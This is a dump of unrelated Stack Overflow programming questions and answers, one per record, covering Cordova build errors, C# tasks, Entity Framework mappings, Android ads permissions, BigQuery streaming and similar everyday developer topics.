26468737	0	Cordova Build fails on iOS with iOS 3.6.3 and cordova 4.0.0 <p>I just upgraded to <code>cordova 4.0.0</code> and upgraded my iOS platform to version <code>3.6.3</code>. </p> <p>Unfortunately all my builds fail right now with the following output on <code>cordova build iOS</code>:</p> <pre><code> Ld build/emulator/App.app/App normal i386 cd /Users/user/&lt;app&gt;/platforms/ios export IPHONEOS_DEPLOYMENT_TARGET=7.0 export PATH="/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/usr/bin:/Applications/Xcode.app/Contents/Developer/usr/bin:/Users/user/.rvm/gems/ruby-2.0.0-p451/bin:/Users/user/.rvm/gems/ruby-2.0.0-p451@global/bin:/Users/user/.rvm/rubies/ruby-2.0.0-p451/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/opt/X11/bin:/Users/user/.rvm/bin:/Users/user/.adt/tools:/Users/user/.adt/platform-tools" /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang -arch i386 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator8.0.sdk -L/Users/user/&lt;app&gt;/platforms/ios/build/emulator -L/Users/user/&lt;app&gt;/platforms/ios/App -L/Users/user/&lt;app&gt;/platforms/ios/App/Plugins/com.liyamahendra.cordova.plugins.flurry -F/Users/user/&lt;app&gt;/platforms/ios/build/emulator -F/Users/user/&lt;app&gt;/platforms/ios/HD -F/Users/user/&lt;app&gt;/platforms/ios/Safe -F/Users/user/&lt;app&gt;/platforms/ios/App/Plugins/com.phonegap.plugins.facebookconnect -filelist /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/App.LinkFileList -Xlinker -objc_abi_version -Xlinker 2 -weak_framework CoreFoundation -weak_framework UIKit -weak_framework AVFoundation -weak_framework CoreMedia -weak-lSystem -force_load /Users/user/&lt;app&gt;/platforms/ios/build/emulator/libCordova.a -ObjC -framework Lookback -fobjc-arc -fobjc-link-runtime -Xlinker -no_implicit_dylibs -mios-simulator-version-min=7.0 -framework FacebookSDK -framework AdSupport -lFlurryAds_5.3.0 -lz -framework QuartzCore -lFlurry_5.3.0 -framework CoreVideo -framework AudioToolbox -framework AVFoundation -framework CoreGraphics -framework CoreMedia -framework Lookback -framework AssetsLibrary /Users/user/&lt;app&gt;/platforms/ios/build/emulator/libCordova.a -framework Lookback -framework MobileCoreServices -framework CoreLocation -framework StoreKit -weak_framework iAd -Xlinker -dependency_info -Xlinker /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/App_dependency_info.dat -o /Users/user/&lt;app&gt;/platforms/ios/build/emulator/App.app/App duplicate symbol _OBJC_IVAR_$_CDVFilesystemURL._url in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_IVAR_$_CDVFilesystemURL._fileSystemName in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_IVAR_$_CDVFilesystemURL._fullPath in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _kCDVFilesystemURLPrefix in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _filePlugin in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_IVAR_$_CDVFile.fileSystems_ in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_IVAR_$_CDVFile.rootDocsPath in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_IVAR_$_CDVFile.appDocsPath in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_IVAR_$_CDVFile.appLibraryPath in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_IVAR_$_CDVFile.appTempPath in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_IVAR_$_CDVFile.userHasAllowed in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_IVAR_$_CDVFile._persistentPath in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_IVAR_$_CDVFile._temporaryPath in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_CLASS_$_CDVFilesystemURL in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_METACLASS_$_CDVFilesystemURL in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_METACLASS_$_CDVFilesystemURLProtocol in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_CLASS_$_CDVFilesystemURLProtocol in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_CLASS_$_CDVFile in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o duplicate symbol _OBJC_METACLASS_$_CDVFile in: /Users/user/&lt;app&gt;/platforms/ios/build/App.build/Debug-iphonesimulator/App.build/Objects-normal/i386/CDVFile-E7AB62C4A5CCC89.o ld: 19 duplicate symbols for architecture i386 clang: error: linker command failed with exit code 1 (use -v to see invocation) ** BUILD FAILED ** The following build commands failed: Ld build/emulator/App.app/App normal i386 (1 failure) Error: /Users/user/&lt;app&gt;/platforms/ios/cordova/build: Command failed with exit code 65 at ChildProcess.whenDone (/usr/local/lib/node_modules/cordova/node_modules/cordova-lib/src/cordova/superspawn.js:135:23) at ChildProcess.EventEmitter.emit (events.js:98:17) at maybeClose (child_process.js:743:16) at Process.ChildProcess._handle.onexit (child_process.js:810:5) </code></pre> <p>Any ideas where this could come from?</p> <p>I'm running Mac OS X 10.10 (Yosemite) and Xcode 6.</p> <p>Hope you can help :)</p>
39361637	0	 <p>Bottom up merge sort without compares. while merging don't do any comparison just swap the elements.</p>
38351542	0	How do I collapse the categories in opencarts mega menu? <p>all Im trying to compress the categories in the mobile menu on opencart Im not seeing an option in the mega menu options to compress the categories on the mobile menu.</p> <p>Ive noticed that when clicking on the header title for the categories that the menu doesn't compress so its just for show apparently.</p> <p>I see an option in the category group settings says is group selecting yes or no makes no difference whatsoever.</p> <p>Any ideas would be greatly appreciated, my apologies for the topic its a client that we are working with.</p> <p><a href="https://i.stack.imgur.com/jUG7n.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/jUG7n.png" alt="enter image description here"></a></p>
17418208	0	update UI in Task using TaskScheduler.FromCurrentSynchronizationContext <p>I want to add some text to list box using <code>Task</code> and I simply use a button and place in click event this code:</p> <pre><code>TaskScheduler uiScheduler = TaskScheduler.FromCurrentSynchronizationContext(); Task.Factory.StartNew(() =&gt; { for (int i = 0; i &lt; 10; i++) { listBox1.Items.Add("Number cities in problem = " + i.ToString()); System.Threading.Thread.Sleep(1000); } }, CancellationToken.None, TaskCreationOptions.None, uiScheduler); </code></pre> <p>but it does not work and UI locked until the end of the for loop.</p> <p>Where is the problem ?</p> <p>thanks :)</p>
4723203	0	 <p>yourString.replaceAll("&amp;b=52","");</p> <p><a href="http://download.oracle.com/javase/1.4.2/docs/api/java/lang/String.html#replaceAll%28java.lang.String,%20java.lang.String%29" rel="nofollow">String API reference</a></p>
4190747	0	 <p>Your method Test is defined as taking a parameter of <code>Func&lt;bool&gt;</code> which expects a method signature similar to <code>bool Something();</code></p> <p>Look at the other <code>Func&lt;&gt;</code> options to see which match what you're trying to accomplish. At the very least you're looking at either <a href="http://msdn.microsoft.com/en-us/library/018hxwa8.aspx" rel="nofollow"><code>Action&lt;string&gt;</code></a> or <a href="http://msdn.microsoft.com/en-us/library/bb549151.aspx" rel="nofollow"><code>Func&lt;bool, string&gt;</code></a></p>
9411266	0	 <p>You don't need if else block, just math :</p> <pre><code>$Start = ($CurrentPage-1)*5+1; </code></pre>
25662950	0	 <p>If DateTimeType were an attribute, this could be done conveniently using conditional type assignment. But if it has to be a child element, you can do it using assertions, for example</p> <pre><code>&lt;xs:assertion test="not(DateTimeType = 'MONTH' and exists(DayOfWeek)"/&gt; </code></pre> <p>By the way, they are not called tags, they are called elements. An element generally has two tags, a start tag and an end tag. Using the correct terminology has many benefits, for example you'll find that you start to understand the language used in error messages better.</p>
36402029	0	 <p>Consider the following 'psuedo-c++'</p> <p>The code works as follows: </p> <ul> <li>take the highest, or lowest bit in the word by AND-ing with all zero's except the MSB or LSB, depending on the MSBFIRST flag</li> <li>write it to the output pin</li> <li>shift the command one step in the right direction</li> <li>pulse the clock pin</li> <li>repeat 8 times, for each bit in the command</li> </ul> <p>It is fairly trivial to expand this to an arbitrary number of bits upto 32 by adding a parameter for the number of repetitions</p> <pre><code>void shiftOut(GPIO dataPin, GPIO clockPin, bool MSBFIRST, uint8_t command) { for (int i = 0; i &lt; 8; i++) { bool output = false; if (MSBFIRST) { output = command &amp; 0b10000000; command = command &lt;&lt; 1; } else { output = command &amp; 0b00000001; command = command &gt;&gt; 1; } writePin(dataPin, output); writePin(clockPin, true); sleep(1) writePin(clockPin, false); sleep(1) } } </code></pre>
36954450	0	 <p>I built a similar system several years ago using MongoDB on Amazon AWS. This year, tired of doing DevOps on AWS (nod to @AndreiVolgin), I've moved it to Google BigQuery.</p> <p>Datastore for my use case was overkill and frankly, limiting. I would have wanted to turn off indexes for most attributes anyways to save on storage cost. Limiting because it's harder to hook up datastore-based data with a visualization tool such as Tableau.</p> <p>Regarding </p> <blockquote> <p>I know there's a solution called BigQuery by Google, which I believe does what I want and allows me to serve the data I want to customers with high flexibility and efficiency, but as I understood it works only on datastore "backups", I need to serve data in real time.</p> </blockquote> <p>When my system receives a datum, page visitor data in your example, it <a href="https://cloud.google.com/bigquery/streaming-data-into-bigquery" rel="nofollow">streams it directly to BQ</a>. So no, it doesn't only work on backups. Whether you can use it to report "real time" depends on what real time means to you. My system computes aggregate statistics once every couple hours for presentation to users.</p>
32752611	0	 <p>In HTML:</p> <pre><code>&lt;input v-model="search"&gt; &lt;h4 v-if="!filteredPhotos.length"&gt;No results&lt;/h4&gt; &lt;ul&gt; &lt;li v-for="photo in filteredPhotos"&gt; &lt;img :src="photo.src" :alt="photo.name"&gt; &lt;/li&gt; &lt;/ul&gt; </code></pre> <p>In JS, you need to use computed properties like this:</p> <pre><code>computed: { filteredPhotos: function () { return this.photos.filter(function(photo){ return photo.name.indexOf(this.search) &gt; -1; }.bind(this)); } } </code></pre> <p>Demo: <a href="http://jsfiddle.net/crswll/Lr9r2kfv/37/" rel="nofollow">http://jsfiddle.net/crswll/Lr9r2kfv/37/</a></p>
22818976	0	 <p>SE_ERR_ACCESSDENIED = 5</p> <blockquote> <p>The operating system denied access to the specified file.</p> </blockquote> <p>The cause of problem might be lots of things. Perhaps the default browser was not installed properly but ended up putting registry keys in virtualized locations? Maybe the URL needs authentication?</p> <p><a href="http://code.google.com/p/chromium/issues/detail?id=156400" rel="nofollow">Chrome not registered correctly anymore. Can't be launched from admin apps.</a></p>
1585691	0	 <p>After more research, apparently google does expose the <a href="http://code.google.com/apis/ajaxlanguage/documentation/#fonje" rel="nofollow noreferrer">JSON URL to make direct</a> requests - so using a server side language does seem to be an option (as long as they are cached). However, once you get that content you still need to figure out how to allow users to access it in the flow of your current app. Perhaps something like the mod_rewrite method mentioned above?</p>
20269773	0	 <p>You can use <a href="http://docs.python.org/2/library/ast.html#ast.literal_eval" rel="nofollow"><code>ast.literal_eval</code></a>:</p> <pre><code>&gt;&gt;&gt; from ast import literal_eval &gt;&gt;&gt; mystr = '[[1, 2, 3], [4, 5, 6]]' &gt;&gt;&gt; x = literal_eval(mystr) &gt;&gt;&gt; x [[1, 2, 3], [4, 5, 6]] &gt;&gt;&gt; type(x) &lt;type 'list'&gt; &gt;&gt;&gt; </code></pre>
38661616	0	google cloud storage maximum objects <p>Folks, </p> <p>I'm uploading the contents of a data drive to a Google Cloud Storage bucket. After ~90% of the data successfully transferred, the bucket wouldn't accept any more date. I couldn't even create an empty folder.</p> <p>I've found a reference to object name lengths and file size but nothing about count maximums.</p> <p>It fails silently, without error message, acting like the command is being ignored.</p> <p>I'm using Google's console (no code of my own).</p> <p>Anybody have any ideas?</p> <p>Thanks!</p>
2578832	0	 <p>MSBuild (which VS uses to do builds, from 2005/.NET2) supports parallel builds. By default VS will set the maximum degree of parallelism to your number of processors. Use Tools | Options | Projects and Solutions | Build and Run to override this default.</p> <p>Of course any one build might have more limited (or no) capacity to allow parallel builds. E.g. only one assembly in a solution provides no scope to build in parallel. Equally a large number of assemblies with lots of dependencies might block parallelism (A depends on B, C depends on A&amp;B, D depends on C has no scope for parallel builds).</p> <p>(NB. for C++, in VS 2005 &amp; 2008 uses its own build system, in 2010 C++ will also be built with MSBuild.)</p>
40715447	0	 <p><strong>try:</strong></p> <pre><code> buildscript { repositories { jcenter() } dependencies { classpath 'com.android.tools.build:gradle:2.2.0' // NOTE: Do not place your application dependencies here; they belong // in the individual module build.gradle files } } allprojects { repositories { jcenter() } } task clean(type: Delete) { delete rootProject.buildDir } </code></pre>
17540137	0	JavaFX ScrollPane border and background <p>I'm having some problem regarding the default background and border of the ScrollPane. Using this style made the problem clearer to see.</p> <pre><code>setStyle("-fx-background-color:blue; -fx-border-color:crimson;"); </code></pre> <p><img src="https://i.stack.imgur.com/TvoFy.png" alt="Image show the background and the border"></p> <p>I've tried this style and got no luck only the red border gone and left me with the blue one.</p> <pre><code>setStyle("-fx-background-color:blue; -fx-background-insets:0; -fx-border-color:crimson; -fx-border-width:0; -fx-border-insets:0;"); </code></pre> <p><img src="https://i.stack.imgur.com/vAlTh.png" alt="Image show the background and the border after my best work around"></p> <p>I've looked at this old post <a href="http://stackoverflow.com/questions/12899788/javafx-hide-scrollpane-gray-border">JavaFX Hide ScrollPane gray border</a> and <a href="http://docs.oracle.com/javafx/2/ui_controls/editor.htm" rel="nofollow noreferrer">http://docs.oracle.com/javafx/2/ui_controls/editor.htm</a></p> <p>This line of code doesn't work neither</p> <pre><code>scrollPane.getStyleClass().add("noborder-scroll-pane"); </code></pre> <p>Thanks</p>
22149025	0	How to get the length of Property? <p>I am using Entity Framework code First Approach so I have the mapping model like shown below.Like this I have 40 models Now I want to know the length of column such as BC_ID as shown above programmatically.How can I get max column Length ?I think we can do it using Reflection class but do not know exactly how to do it.I am using Entity Framework 5.0</p> <pre><code>public class BusinessContactMap : EntityTypeConfiguration&lt;BusinessContact&gt; { public BusinessContactMap() { // Primary Key this.HasKey(t =&gt; t.BC_ID); // Properties this.Property(t =&gt; t.BC_ID) .IsRequired() .HasMaxLength(64); this.Property(t =&gt; t.BC_FirstName) .HasMaxLength(64); this.Property(t =&gt; t.BC_LastName) .HasMaxLength(64); this.Property(t =&gt; t.BC_Mobile) .HasMaxLength(64); this.Property(t =&gt; t.BC_Office) .HasMaxLength(64); this.Property(t =&gt; t.BC_Mail) .HasMaxLength(64); // Table &amp; Column Mappings this.ToTable("BusinessContacts"); this.Property(t =&gt; t.BC_ID).HasColumnName("BC_ID"); this.Property(t =&gt; t.BC_FirstName).HasColumnName("BC_FirstName"); this.Property(t =&gt; t.BC_LastName).HasColumnName("BC_LastName"); this.Property(t =&gt; t.BC_Mobile).HasColumnName("BC_Mobile"); this.Property(t =&gt; t.BC_Office).HasColumnName("BC_Office"); this.Property(t =&gt; t.BC_Mail).HasColumnName("BC_Mail"); this.Property(t =&gt; t.Record_Instance).HasColumnName("Record_Instance"); this.Property(t =&gt;t.Record_LastModified).HasColumnName("Record_LastModified"); } } </code></pre>
12448882	0	Java: wait for exec process till it exits <p>Hi I am running a java program in windows that collects log from windows events. A csv file is created on which certain operations are to be performed. The command execed is a piped one so how do i make java program to wait until the process is finished. Here is the code snippet i am using</p> <pre><code>Runtime commandPrompt = Runtime.getRuntime(); try { Process powershell = commandPrompt.exec("powershell -Command \"get-winevent -FilterHashTable @{ logname = 'Microsoft-Windows-PrintService/Operational';StartTime = '"+givenDate+" 12:00:01 AM'; EndTime = '"+beforeDay+" 23:59:59 '; ID = 307 ;} | ConvertTo-csv| Out-file "+ file +"\""); //I have tried waitFor() here but that does not seem to work, required command is executed but is still blocked } catch (IOException e) { } // Remaining code should get executed only after above is completed. </code></pre> <p>Any help on this is greatly appreciated. Thanks in advance</p>
35568033	0	How to end if statement in php <p>The question is pretty much self-explanatory, I am having trouble how to end if statement in php.</p> <p>For example,</p> <pre><code>&lt;?php if (argument) { // end if statement } else if (different argument) { // end if statement } else if (another different argument) { // end if statement } else { // do something } ?&gt; </code></pre>
14702050	0	Valid Date Checks in Oracle <p>I have a date value (either valid date or invalid date) store in varchar format. Is it possible to check the date is valid or not in sql query. </p>
4154592	0	config.cache_classes messing with DateTime in model <p>Hey guys, im having some problem here due to rails class caching. I have this named_scope</p> <p>named_scope :current, :conditions => "starts_at &lt;= '#{Time.now.utc.to_formatted_s(:db)}' and finishes_at >= '#{Time.now.utc.to_formatted_s(:db)}'"</p> <p>The condition Time is not refreshing, all requests are done with the same Time, probably the first used.</p> <p>Is there a way to work around it?</p>
3872483	0	 <p>The DOM cannot recognize the HTML's encoding. You can try something like: </p> <pre><code>$doc = new DOMDocument(); $doc-&gt;loadHTML('&lt;?xml encoding="UTF-8"&gt;' . $html); // taken from http://php.net/manual/en/domdocument.loadhtml.php#95251 </code></pre>
28840273	0	 <p>I ended up havinmg to include jquery whic the links from the error told me to do this. But I was still getting an error. Make sure you alwasy load the library dependencies in the same order as your app does.</p>
6494079	0	How can i create django models , views , forms with different names <p>Currently i have my models, views, forms in default file. But i want to have directory structure like</p> <pre><code>articles ---------models ---------views ---------forms Books ---------models ---------views ---------forms Icecreams ---------models ---------views ---------forms </code></pre> <p>so that i keep separately but i don't want different app</p>
30738152	0	 <p>Today I've got the similar problems (my game is restarted after admob Interstitial Ad shows). But I got it not after Ads was clicked as in your case (I also can not click ads into my game as I'm developer too), but I got it after video ads tried to show in Admob InterstitialAd. </p> <p>I connected device to PC, opened LogCat and start play the game until video ads appeared again and I catched the reason of restarting : </p> <pre><code>06-09 19:04:07.445: W/System.err(29032): java.lang.SecurityException: Neither user 10124 nor current process has android.permission.WAKE_LOCK. 06-09 19:04:07.445: W/System.err(29032): at android.os.Parcel.readException(Parcel.java:1465) 06-09 19:04:07.445: W/System.err(29032): at android.os.Parcel.readException(Parcel.java:1419) 06-09 19:04:07.445: W/System.err(29032): at android.os.IPowerManager$Stub$Proxy.acquireWakeLock(IPowerManager.java:302) 06-09 19:04:07.445: W/System.err(29032): at android.os.PowerManager$WakeLock.acquireLocked(PowerManager.java:719) 06-09 19:04:07.445: W/System.err(29032): at android.os.PowerManager$WakeLock.acquire(PowerManager.java:688) 06-09 19:04:07.455: W/System.err(29032): at android.media.MediaPlayer.stayAwake(MediaPlayer.java:1153) 06-09 19:04:07.455: W/System.err(29032): at android.media.MediaPlayer.start(MediaPlayer.java:1063) 06-09 19:04:07.455: W/System.err(29032): at com.android.org.chromium.media.MediaPlayerBridge.start(MediaPlayerBridge.java:98) 06-09 19:04:07.455: W/System.err(29032): at com.android.org.chromium.base.SystemMessageHandler.nativeDoRunLoopOnce(Native Method) 06-09 19:04:07.455: W/System.err(29032): at com.android.org.chromium.base.SystemMessageHandler.handleMessage(SystemMessageHandler.java:27) 06-09 19:04:07.455: W/System.err(29032): at android.os.Handler.dispatchMessage(Handler.java:102) 06-09 19:04:07.455: W/System.err(29032): at android.os.Looper.loop(Looper.java:136) 06-09 19:04:07.455: W/System.err(29032): at android.app.ActivityThread.main(ActivityThread.java:5038) 06-09 19:04:07.455: W/System.err(29032): at java.lang.reflect.Method.invokeNative(Native Method) 06-09 19:04:07.465: W/System.err(29032): at java.lang.reflect.Method.invoke(Method.java:515) 06-09 19:04:07.465: W/System.err(29032): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:795) 06-09 19:04:07.465: W/System.err(29032): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:611) 06-09 19:04:07.465: W/System.err(29032): at dalvik.system.NativeStart.main(Native Method) </code></pre> <p>I.e. it required WAKE_LOCK permission. After I added it :</p> <pre><code>&lt;uses-permission android:name="android.permission.WAKE_LOCK" /&gt; </code></pre> <p>I play the game again, until video ads was not shown in Interstitial Ads and now it works fine!!!</p> <p>So, I think, it can also solve your problem too. </p>
24128759	0	 <p>It's not actually a Django question but rather a ORM question, you need to understand what and how ORM works (apart from the language and the framework used). Your case yields different results:</p> <p>1 Bridge can Have Many workers (One (bridge) &lt;--* Many (Worker), ForeignKey)</p> <p>1 Bridge can have 1 worker (One (Bridge) &lt;--> One (Worker), One To One field)</p> <p>Many Bridges can have many workers (Many (Bridges) * -- * many (Workers), Many to Many field)</p> <p>If you use a ForeignKey from tools to builders, it means that a worker can have many tools, but each tool is unique to a worker, if you have many to many then any worker can have any tool. If you need tools to belong to many different workers, then you need a many to many relation, if the tools need some specific restrictions (like skills) then again a many to many relation with specific limitations (a through table could hold extra information regarding the association, like worker 1 uses tool 1 every friday, that would be a through table of workers to tools with the middle table holding the day the worker uses the specific tool).</p>
10485054	0	How do I get the original SKU of a bundle product in the cart? <p>I need to be able to get the parent ID of a bundled item during checkout to track. If a customer purchased a simple item through a grouped item, I can get the grouped SKU from $item->getOptionByCode('info_buyRequest'). Is there a way to get the bundle SKU of a purchased simple item in a similar manner? info_buyRequest doesn't seem to have this info for a bundled item.</p>
22000259	0	iOS xcdatamodel newly added attribute has quotation mark <p>I just migrated my new data model and added a new attribute called "author_mail".However I discover at when I output my records:</p> <pre><code>attachments = "&lt;relationship fault: 0xd2459c0 'attachments'&gt;"; author = nil; "author_mail" = nil; &lt;-- ABNORMAL category1 = World; </code></pre> <p>I set the author_mail to string type but I don't think the author_mail should wrap with quotation mark. I don't know if it related to my migration but it does not output any error. Any clue where should I start look on? I found nothing on the internet. </p> <p>Result I want: </p> <pre><code>attachments = "&lt;relationship fault: 0xd2459c0 'attachments'&gt;"; author = nil; author_mail = nil; category1 = World; </code></pre> <p>Thanks everyone.</p>
37188608	0	 <p>I think this is the solution for you: <a href="http://stackoverflow.com/questions/9451006/detect-warn-when-back-button-is-pressed">Detect/Warn when back button is pressed</a></p> <p>Let us know if it helps</p>
5735763	0	 <p>Which version of VS are you using? </p> <p>Not sure what you mean by "registered in any project", but here's a starting point: You can obtain a list of all .h and .cpp files by doing (recursive) directory listings from the root directory. Since the solution and the project files are just .xml files(in later versions of VS at least), you can just use regular expressions to pull out all the referenced .h and .cpp files and then cross reference the list you got doing directory listings with the ones you can parse from project files. In your case your simple directory structure makes the searching a little simpler.</p> <p>If by your second point you mean "included by another source or header" then I guess you have to read all .h and .cpp files and search for #include statements, but this would make the program a little more complex.</p>
3666359	0	 <p>In addition to Boltclock's answer, there's a difference in how css walks through the DOM, which can have an effect on the processing speed of the stylesheet. For example, Mozilla advises not to use the element before the class: <a href="https://developer.mozilla.org/en/Writing_Efficient_CSS" rel="nofollow noreferrer">https://developer.mozilla.org/en/Writing_Efficient_CSS</a></p> <p>In case of id's I tend to use it anyway though, purely for readability reasons.</p>
18620168	0	 <p>It looks like the Table View can't be the first child of the view controller's view. Drag it down below another view to fix the issue.</p> <p><img src="https://i.stack.imgur.com/ddkgQ.jpg" alt="enter image description here"></p>
27177550	0	Show combobox drop down while editing text <p>When I first load my form the combobox functions as desired:</p> <p><img src="https://i.stack.imgur.com/ff7SV.jpg" alt="enter image description here"></p> <p>Then when I select one of the drop down menu items (via cursor or arrow keys &amp; enter):</p> <p><img src="https://i.stack.imgur.com/Re6B7.jpg" alt="enter image description here"></p> <p>Now if I try to edit the text in the combo box again (via cursor or arrow keys), the drop down menu no longer appears:</p> <p><img src="https://i.stack.imgur.com/fQu9f.jpg" alt="enter image description here"></p> <p>Currently my load form method:</p> <pre><code>Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load 'connect to RFDB Dim connectionString = My.Settings.RFDBConnectionString Dim connection As New SqlConnection(connectionString) connection.Open() 'Get Versions Table from RFDB Dim versions As DataTable Dim query = "select LocationID, VersionsNum, Description, PlanetExport from Versions inner join VersionsBuild on VersionsBuildID=IDVersionsBuild" versions = QueryRFDB(query, connectionString) 'Fill ComboBox with possible site versions Dim source As New AutoCompleteStringCollection() Dim i As Integer For i = 0 To versions.Rows.Count - 1 Dim siteVersion As String siteVersion = versions.Rows(i)(0) &amp; " V" &amp; versions.Rows(i)(1) &amp; " " &amp; versions.Rows(i)(2) source.Add(siteVersion) Next i Me.ComboBox1.AutoCompleteCustomSource = source Me.ComboBox1.AutoCompleteMode = AutoCompleteMode.Suggest Me.ComboBox1.AutoCompleteSource = AutoCompleteSource.CustomSource 'Fill ListBox with currently flagged site versions For i = 0 To versions.Rows.Count - 1 Dim siteVersion As String siteVersion = versions.Rows(i)(0) &amp; " V" &amp; versions.Rows(i)(1) &amp; " " &amp; versions.Rows(i)(2) If versions.Rows(i)(3) = True Then Me.ListBox1.Items.Add(siteVersion) Next i End Sub 'Returns a data table as the result of the sql query on RFDB Private Function QueryRFDB(ByVal query As String, ByVal connectionString As String) Dim adapter As New SqlDataAdapter(query, connectionString) Dim table As New DataTable adapter.Fill(table) Return table End Function </code></pre> <p>I am thinking it is maybe a settings issue with my combobox? Any help is appreciated. </p>
23897168	0	Adjusting z-index of angularjs typeahead directive <p>I am using Angularjs typeahead directive in combination with jquery layout plugin. <a href="http://plnkr.co/edit/rbfSByzsh8wc2f0aaBDA" rel="nofollow">Here</a> is the link to the app I am working on. When I type an address into the input box, the list of autocomplete results get hidden behind the resizer. I have tried changing the z-index property of both the autocomplete list as well as the pane resizer, but nothing seems to be working. What is the best way to solve this?</p> <pre><code>.ui-layout-resizer-open { z-index: 1; } .dropdown-menu { z-index: 2; } </code></pre>
21681941	0	Visualize JSF facelets inclusion <p>This is a simple question: is there a tool or method that allows me to visualize from what set of Facelet template files my view is constructed?</p> <p>Background: I find myself constantly searching for popups and reusable chunks I have stashed away in their own little facelets. Now if one is causing issues, I have to go down a hierarchy of includes to figure out which view is actually including the facelet. Right now this means I'm searching all template files for component id strings, then for each of the files that include that string, I search for the filename of that template, then lookup all templates that <code>ui:include</code> that file until I find a file that is not mentioned in an <code>ui:include</code> tag.</p> <p>I imagine that there must be a tool that visualizes this as a tree/forest structure for any given search term. Is there? And if not, how would you go about writing one?</p>
21889204	0	 <p>It may help to look at it from a different perspective. Your semi-complete solution is focusing on parents elements of your desired data, but you could also use the child or relative path identifiers. </p> <p>I got this XPATH: </p> <pre><code>a/c/following-sibling::node() </code></pre> <p>To return:</p> <pre><code> MARKER other text 1 &lt;b&gt;MARKER other text 2&lt;/b&gt; M &lt;b&gt;ARKE&lt;/b&gt; R &lt;e&gt;other&lt;/e&gt; text 3 </code></pre> <p>And while that isn't in exactly the format you're looking for, it's the correct data, XPATH wasn't really made for formatting your results so there's not much to work with there. </p>
22113160	0	 <p>It possible you're not making those calls early enough, and the classes that use them have already been loaded and initialized themselves.</p> <p>A good test/quick fix would be to make a separate Main class that only makes those calls, then calls the class you are currently using to start your app.</p> <p>You might even have to call those in a static initializer (not in main), because once you execute main, all the classes it references will be loaded first.</p> <p>You could also use reflection to load and execute your class from Main, that's kind of messy and <em>probably</em> not required.</p>
38543015	0	How to copy installed apps along with data to other mobile using sdcard? <p>Suppose I've installed five apps in some mobile. I used them for few days, I would like to copy them to another mobile along with data using sdcard. Means in whatever mobile I put that sdcard, my all apps with the data should work fine. It's like cloning windows os and installing same state os to other, but only a selected apps in my scenario. Is it possible? Ask me you did not get question? Thank you.</p>
39774140	0	 <p>I was originally using <code>HttpsURLConnection</code> but it wasn't working consistently so I decided to go with <code>HttpClient</code>. It works now.</p>
